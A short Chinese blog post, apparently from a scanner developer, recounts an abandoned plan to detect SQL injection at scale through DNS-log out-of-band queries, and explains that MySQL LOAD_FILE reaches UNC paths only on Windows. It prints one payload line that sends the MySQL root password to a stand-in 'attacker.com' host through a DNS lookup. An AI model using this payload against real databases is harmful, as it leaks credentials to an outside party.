Skip to content

记录批量sql注入想法的出生到结束...

字数
409 字
阅读时间
2 分钟

这是一篇记叙文,记录这个想法曾经来过,然后又走了。

需要改进w10scan中的sql注入扫描代码,普通的sql注入扫描对一个url要进行大量扫描。基于dnslog的sql注入扫描,sql语句中load_file可以让你读取一个网页,基于dnslog即可以找出存在注入的网站。只用扫描几个网页即可,而且在在dnslog平台上即可查看成功信息。正确率极高。

使用类似于

js
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.attacker.com\\foobar'));

研究了两天后,才发现问题。

网站对此的资料都是千篇一律,百度更垃圾,找到的都是前篇一律的文章。

看到这个文章:https://www.t00ls.net/viewthread.php?tid=37627&highlight=load\_file

才知道我的想法太young,测试后在明白了可行性太小。

因为用load_file注入语句只能在windows下可用,在linux下是无用的!

Windows下可以看到load_file()打开文件使用了Win32 API CreateFile()函数

CreateFile 在 MSDN 上的文档
传送门 https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858[/url](v=vs.85).aspx
可以看到CreateFile()这个函数支持Universal Naming Conventions(UNC)
可以去访问远程的域名主机上的文件,在UNC中是支持域名进行远程主机访问的,既然要访问域名就必然进行DNS解析请求,从而传出数据。

但是linux却使用的普通open()函数

好吧,还没开始就结束了,,纪念我逝去的两天时间 = -

撰写